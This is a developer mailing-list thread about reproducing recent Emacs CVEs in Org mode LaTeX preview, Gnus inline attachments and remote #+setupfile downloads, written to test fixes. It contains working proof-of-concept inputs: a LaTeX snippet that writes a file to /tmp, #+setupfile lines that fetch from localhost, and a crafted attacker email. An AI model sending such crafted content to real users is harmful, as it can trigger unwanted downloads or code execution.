Reproducers for recent Emacs security issues

Reproducers for recent Emacs security issues

[Sean Whitton]

[-- Attachment #1: Type: text/plain, Size: 398 bytes --]

Hello Max, Ihor,

Thank you for your input on the thread I posted this week about the
recent CVEs.

I already have a sample Org file that I can use to test whether
CVE-2024-30202 is fixed.  Would you happen to already have reproducers
for the other two problems to hand?

I'm sure I can make my own, but thought I'd ask in case you already have
them handy.  Thanks!

-- 
Sean Whitton

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 869 bytes --]

Re: Reproducers for recent Emacs security issues

[Max Nikulin]

On 14/04/2024 10:23, Sean Whitton wrote:
> 
> I already have a sample Org file that I can use to test whether
> CVE-2024-30202 is fixed.  Would you happen to already have reproducers
> for the other two problems to hand?

LaTeX preview issue
===================

- CVE-2024-30203 In Emacs before 29.3, Gnus treats inline MIME contents 
as trusted.
- CVE-2024-30204 In Emacs before 29.3, LaTeX preview is enabled by 
default for e-mail attachments.

It requires fixes in Emacs code besides Org mode.

1. Install dvipng.
Alternatively you may install dvisvgm and add to your init file
     (setq org-preview-latex-default-process 'dvisvgm)

2. Send a mail message with an attachment having
     Content-Type: text/x-org
or
     Content-Type: text/org
depending on MUA configuration. By default you may get 
application/vnd.lotus-organizer for .org files due to /etc/mime.types

Attachment content:

---- 8< ----
#+startup: latexpreview
LaTeX:
\begin{equation}
\newwrite\testfile\openout\testfile=\jobname.poc
\write\testfile{PoC}
\closeout\testfile
A \to \textrm{/tmp/\jobname.poc}
\end{equation}

*Warning!* Change the math snippet before every test
or remove the cached image.
---- >8 ----

3. Open message.

LaTeX preview never worked in attachment inline preview.
Check that a file is created in /tmp/
     ls -l tmp/orgtex*.poc

The issue is not fixed for the scenario when an arbitrary text file is
opened in Emacs directly (e.g. a file downloaded from some web site).

Attempts to download remote content
===================================

CVE-2024-30205 In Emacs before 29.3, Org mode considers contents of
remote files to be trusted. This affects Org Mode before 9.6.23.

Actually there are 2 issues. They may be used to track that users
receive messages, so mail addresses are valid. In addition they allow to
download from a remote site payload for the LaTeX preview or code
execution exploits.

[BUG] Unsolicited download of remote resources.
Fri, 2 Feb 2024 23:57:54 +0700.
https://list.orgmode.org/upj6uk$b7o$1@ciao.gmane.io

--- 8< ---
#+setupfile: http://localhost:8000/setup-1234567890.org
--- >8 ---

[BUG] Org may fetch remote content without asking user consent.
Wed, 7 Feb 2024 17:54:07 +0700.
https://list.orgmode.org/upvngj$150v$1@ciao.gmane.io

Requires installed the gvfs-backends package
--- 8< ---
#+setupfile: /dav:localhost#8000:/msg-123456.org
--- >8 ---

Notice that the following commit is not mentioned in the CVE description.
https://git.savannah.gnu.org/cgit/emacs.git/commit/?id=e56f0ef51bf
2024-02-02 20:59:41 +0100 Ihor Radchenko: org: Fix security prompt for 
downloading remote resource

Backporting fixes to Emacs-28 requires more changes since the dialog to 
ask user if a file should be downloaded has been implemented in Org-9.6 
while Emacs-28 is shipped with Org-9.5.

Trying to reproduce, you may face the following issue:
[BUG] Partially broken Org mode when remote setupfile is unavailable.
Tue, 19 Mar 2024 17:46:46 +0700.
https://list.orgmode.org/utbqeo$bk3$1@ciao.gmane.io

Re: Reproducers for recent Emacs security issues

[Sean Whitton]

Hello Max, thank you for these.

On Sun 14 Apr 2024 at 11:41am +07, Max Nikulin wrote:

> Attachment content:
>
> ---- 8< ----
>
> #+startup: latexpreview
> LaTeX:
>
> \begin{equation}
> \newwrite\testfile\openout\testfile=\jobname.poc
> \write\testfile{PoC}
> \closeout\testfile
> A \to \textrm{/tmp/\jobname.poc}
> \end{equation}
>
> *Warning!* Change the math snippet before every test
> or remove the cached image.
> ---- >8 ----
>
> 3. Open message.
>
> LaTeX preview never worked in attachment inline preview.
> Check that a file is created in /tmp/
>      ls -l tmp/orgtex*.poc

Unfortunately, I couldn't reproduce this.
I expanded the inline preview but nothing appeared in /tmp.  If I saved
the attachment and opened it as a regular file, then the image gets
generated in /tmp and displayed in-buffer, but that's a different issue.

This is Emacs 28.2, btw.  Would you expect it not to work there?

-- 
Sean Whitton

Re: Reproducers for recent Emacs security issues

[Ihor Radchenko]

Sean Whitton <spwhitton@spwhitton.name> writes:

> Unfortunately, I couldn't reproduce this.
> I expanded the inline preview but nothing appeared in /tmp.  If I saved
> the attachment and opened it as a regular file, then the image gets
> generated in /tmp and displayed in-buffer, but that's a different issue.
>
> This is Emacs 28.2, btw.  Would you expect it not to work there?

That email with attachment needs to be opened in gnus, notmuch, or mu4e.
Using default settings.

-- 
Ihor Radchenko // yantar92,
Org mode contributor,
Learn more about Org mode at <https://orgmode.org/>.
Support Org development at <https://liberapay.com/org-mode>,
or support my work at <https://liberapay.com/yantar92>

Re: Reproducers for recent Emacs security issues

[Sean Whitton]

[-- Attachment #1: Type: text/plain, Size: 689 bytes --]

Hello,

On Mon 15 Apr 2024 at 09:32am GMT, Ihor Radchenko wrote:

> Sean Whitton <spwhitton@spwhitton.name> writes:
>
>> Unfortunately, I couldn't reproduce this.
>> I expanded the inline preview but nothing appeared in /tmp.  If I saved
>> the attachment and opened it as a regular file, then the image gets
>> generated in /tmp and displayed in-buffer, but that's a different issue.
>>
>> This is Emacs 28.2, btw.  Would you expect it not to work there?
>
> That email with attachment needs to be opened in gnus, notmuch, or mu4e.
> Using default settings.

Yeah, I tried that:

emacs -q
M-x gnus-no-server
Gf ~/tmp/mbox-with-the-msgs.mbox
RET

-- 
Sean Whitton

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 869 bytes --]

Re: Reproducers for recent Emacs security issues

[Ihor Radchenko]

Sean Whitton <spwhitton@spwhitton.name> writes:

>> That email with attachment needs to be opened in gnus, notmuch, or mu4e.
>> Using default settings.
>
> Yeah, I tried that:
>
> emacs -q
> M-x gnus-no-server
> Gf ~/tmp/mbox-with-the-msgs.mbox
> RET

Do you have a message that you tried?
You may also check buffer *Org Preview LaTeX Output* that should be
created if the reproducer worked.

-- 
Ihor Radchenko // yantar92,
Org mode contributor,
Learn more about Org mode at <https://orgmode.org/>.
Support Org development at <https://liberapay.com/org-mode>,
or support my work at <https://liberapay.com/yantar92>

Re: Reproducers for recent Emacs security issues

[Max Nikulin]

[-- Attachment #1: Type: text/plain, Size: 577 bytes --]

On 15/04/2024 16:46, Sean Whitton wrote:
> 
> emacs -q
> M-x gnus-no-server
> Gf ~/tmp/mbox-with-the-msgs.mbox
> RET

I am not a Gnus user, but this time I have tried it. I have realized 
that if there is an text/x-org attachment, even a purely innocent one, 
then it is enough to have the following in the text/plain *body* to 
trigger an attempt to download a remote file:

#+setupfile: http://localhost:8000/setup-1234567890.org

it happens when I open the message, the attachment remains closed.

I expect that message body should not affect attachment preview.

Emacs-28.2

[-- Attachment #2: innocent.org --]
[-- Type: text/org, Size: 9 bytes --]

Innocent

[-- Attachment #3: innocent-x.org --]
[-- Type: text/x-org, Size: 9 bytes --]

Innocent

Re: Reproducers for recent Emacs security issues

[Ihor Radchenko]

Max Nikulin <manikulin@gmail.com> writes:

> On 15/04/2024 16:46, Sean Whitton wrote:
>> 
>> emacs -q
>> M-x gnus-no-server
>> Gf ~/tmp/mbox-with-the-msgs.mbox
>> RET
>
> I am not a Gnus user, but this time I have tried it. I have realized 
> that if there is an text/x-org attachment, even a purely innocent one, 
> then it is enough to have the following in the text/plain *body* to 
> trigger an attempt to download a remote file:
>
> #+setupfile: http://localhost:8000/setup-1234567890.org
>
> it happens when I open the message, the attachment remains closed.
>
> I expect that message body should not affect attachment preview.

This sounds like gnus bug (or feature?).
I can also reproduce it.
Feel free to submit it as a separate bug report.

It does not affect the discussed vulnerability.

-- 
Ihor Radchenko // yantar92,
Org mode contributor,
Learn more about Org mode at <https://orgmode.org/>.
Support Org development at <https://liberapay.com/org-mode>,
or support my work at <https://liberapay.com/yantar92>

Re: Reproducers for recent Emacs security issues

[Andrew Cohen]

>>>>> "IR" == Ihor Radchenko <yantar92@posteo.net> writes:

    IR> Max Nikulin <manikulin@gmail.com> writes:

[...]

    >> 
    >> I expect that message body should not affect attachment preview.

    IR> This sounds like gnus bug (or feature?).  I can also reproduce
    IR> it.  Feel free to submit it as a separate bug report.

The culprit here is gnus-article-emulate-mime (which defaults to t):

"If non-nil, use MIME emulation for uuencode and the like.

This means that Gnus will search message bodies for text that look
like uuencoded bits, yEncoded bits, and so on, and present that using
the normal Gnus MIME machinery."

Even though this sample message is mime, with this variable non-nil the
message bodies are searched as the doc describes. But the parsing fails
on this message, and ends up with some rather confused "parts": in
particular one which contains just the URL, but for some reason calls
org to dispaly itself.

Given that these alternative encodings are ancient and probably no
longer relevant, I suggest we change the default to nil. 

Re: Reproducers for recent Emacs security issues

[Florian Weimer]

* Ihor Radchenko:

> Max Nikulin <manikulin@gmail.com> writes:
>
>> On 15/04/2024 16:46, Sean Whitton wrote:
>>> 
>>> emacs -q
>>> M-x gnus-no-server
>>> Gf ~/tmp/mbox-with-the-msgs.mbox
>>> RET
>>
>> I am not a Gnus user, but this time I have tried it. I have realized 
>> that if there is an text/x-org attachment, even a purely innocent one, 
>> then it is enough to have the following in the text/plain *body* to 
>> trigger an attempt to download a remote file:
>>
>> #+setupfile: http://localhost:8000/setup-1234567890.org
>>
>> it happens when I open the message, the attachment remains closed.
>>
>> I expect that message body should not affect attachment preview.
>
> This sounds like gnus bug (or feature?).

It's a feature.  I think it comes the regular expression in
mm-uu-type-alist.  Some of the features are quite nice, like diff
highlighting.  Others are a bit scary (and not just the org-mode
integration).

Re: Reproducers for recent Emacs security issues

[Andrew Cohen]

>>>>> "FW" == Florian Weimer <fw@deneb.enyo.de> writes:

[...]

    FW> It's a feature.  I think it comes the regular expression in
    FW> mm-uu-type-alist.  Some of the features are quite nice, like
    FW> diff highlighting.  Others are a bit scary (and not just the
    FW> org-mode integration).

I stand corrected---this  still looks quite useful and seems to be
working as intended. I was thrown off by the documentation which
indicated it was just for uuencoded and yencoded content. 

-- 

Re: Reproducers for recent Emacs security issues

[Max Nikulin]

On 16/04/2024 06:30, Andrew Cohen wrote:
>>>>>> "FW" == Florian Weimer writes:
>      FW> It's a feature.
[...]
> I stand corrected---this  still looks quite useful and seems to be
> working as intended.

I am not trying to dispute that attachment preview is a useful feature 
and it is nice to have syntax highlight. I still believe, its 
implementation is buggy and behavior may confuse those who test fixes 
for the recent security vulnerabilities.

Consider the following message:

---- 8< ----
To: A User <a.user@example.com>
From: Attacker <attacker@example.org>
Subject: Gnus inline attachment preview is buggy
Date: Mon, 15 Apr 2024 17:47:53 +0000
Message-ID: <123@example.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------si3r85hbIUHz9WH"

This is a multi-part message in MIME format.
--------------si3r85hbIUHz9WH
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* The *following* line should not affect attachment preview:
#+setupfile: http://localhost:8000/setup-1234567890.org
- =text/plain= body :: should not be fonified as an Org mode buffer.

--------------si3r85hbIUHz9WH
Content-Type: text/x-org; charset=UTF-8; name="test.org"
Content-Disposition: attachment; filename="test.org"

Nothing dangerous or suspicious here.
--------------si3r85hbIUHz9WH--
---- >8 ----

Message body should be presented as plain text and its content should 
not affect attachment and should not be interpreted as Org mode markup.

What I see in Emacs-28.2 is that text/plain message body is fontified as 
an Org mode buffer, even "#+setupfile:" is interpreted by Org mode code.

I do not mind that the attachment is invisible when I open the message.
What I really do not like is that some code is executed for invisible 
content. The attachment should be rendered when the user opens it, not 
when the message is opened.

In Emacs-28.2 a *folded* *attachment* may cause interpretation of 
"#+setupfile:" in the text/plain *body* as Org markup and may lead to 
execution of arbitrary code downloaded from a remote site immediately 
when user opens message without additional user actions.

 From my point of view, *risk* of an attack requiring opening an 
attachment is significantly lower than one when it is enough to just 
open mail message. I admit that *impact* measured using Common 
Vulnerability Scoring System (CVSS) v3.1 is the same. In both cases user 
action is required.

Re: Reproducers for recent Emacs security issues

[Eli Zaretskii]

> From: Andrew Cohen <acohen@ust.hk>
> Date: Tue, 16 Apr 2024 07:30:27 +0800
> 
> >>>>> "FW" == Florian Weimer <fw@deneb.enyo.de> writes:
> 
> [...]
> 
>     FW> It's a feature.  I think it comes the regular expression in
>     FW> mm-uu-type-alist.  Some of the features are quite nice, like
>     FW> diff highlighting.  Others are a bit scary (and not just the
>     FW> org-mode integration).
> 
> I stand corrected---this  still looks quite useful and seems to be
> working as intended. I was thrown off by the documentation which
> indicated it was just for uuencoded and yencoded content. 

Maybe I misunderstand something (I don't use Gnus), but isn't it a
security problem that the presence of such a line in an email message
causes Emacs to download a remote file?

Re: Reproducers for recent Emacs security issues

[Andrew Cohen]

>>>>> "EZ" == Eli Zaretskii <eliz@gnu.org> writes:

    >> From: Andrew Cohen <acohen@ust.hk> Date: Tue, 16 Apr 2024
    >> 07:30:27 +0800
    >> 
    >> >>>>> "FW" == Florian Weimer <fw@deneb.enyo.de> writes:
    >> 
    >> [...]
    >> 
    FW> It's a feature.  I think it comes the regular expression in
    FW> mm-uu-type-alist.  Some of the features are quite nice, like
    FW> diff highlighting.  Others are a bit scary (and not just the
    FW> org-mode integration).
    >> 
    >> I stand corrected---this still looks quite useful and seems to be
    >> working as intended. I was thrown off by the documentation which
    >> indicated it was just for uuencoded and yencoded content.

    EZ> Maybe I misunderstand something (I don't use Gnus), but isn't it
    EZ> a security problem that the presence of such a line in an email
    EZ> message causes Emacs to download a remote file?

It doesn't cause the file to be downloaded immediately---it displays a
message identifying downloading the file as a possible security risk,
and requires confirmation in order to proceed with the download. This
seems OK from the security viewpoint.

If I understand correctly, Max is concerned that the behavior of this
part of the multipart mime message (text/plain) invokes org to deal with
the link. But this is what 'gnus-article-emulate-mime is supposed to do:
it consults a list of regular expressions to match and invokes handlers
to deal with them (whether the article is mime or not). The particular
line in question matches an org expression and org is then invoked to
handle it. The security issue is whether or not org handles the link
reasonably, and it does.

In Max's example message there is another part to the message of type
(text/org). This makes it appear that the involvement of org is related
to this other part. But it isn't---just the line by itself (#+setupfile:
http://localhost/test.html) will trigger the org handling.

My only issue is that the documentation is not very clear about all
this. I'll try to update it if I can find some time.

-- 
Andrew Cohen

Re: Reproducers for recent Emacs security issues

[Max Nikulin]

On 16/04/2024 20:23, Andrew Cohen wrote:
> 
>      EZ> Maybe I misunderstand something (I don't use Gnus), but isn't it
>      EZ> a security problem that the presence of such a line in an email
>      EZ> message causes Emacs to download a remote file?
> 
> It doesn't cause the file to be downloaded immediately---it displays a
> message identifying downloading the file as a possible security risk,
> and requires confirmation in order to proceed with the download. This
> seems OK from the security viewpoint.

The dialog was introduced in Org mode 9.6 while Emacs-28.2 (the version 
in Debian stable) has Org 9.5. Moreover, Emacs before 29.3 had a bug, 
and attempts to fetch remote file happened even when users declined 
requests. (I do not think, user experience would be great in the case of 
a message having a dozen of #+setupfile lines...)

> But this is what 'gnus-article-emulate-mime is supposed to do:
> it consults a list of regular expressions to match and invokes handlers
> to deal with them (whether the article is mime or not).

I did not figure out at first that it is not an attachment that 
activates Org mode for message body.

However almost certainly it is incorrect that in the case of

#+startup: latexpreview
\begin{equation}
x = 1
\end{equation}

`org-mode' is invoked just for
---- 8< ----
#+startup: latexpreview
\begin{equation}
---- >8 ----

I am in doubts if the intention is to highlight just the #+startup line 
or rest of the body.

If a message contains just #+startup without immediately following 
\begin{equation} then Org mode does not tries if latex command is 
available and it is even more confusing.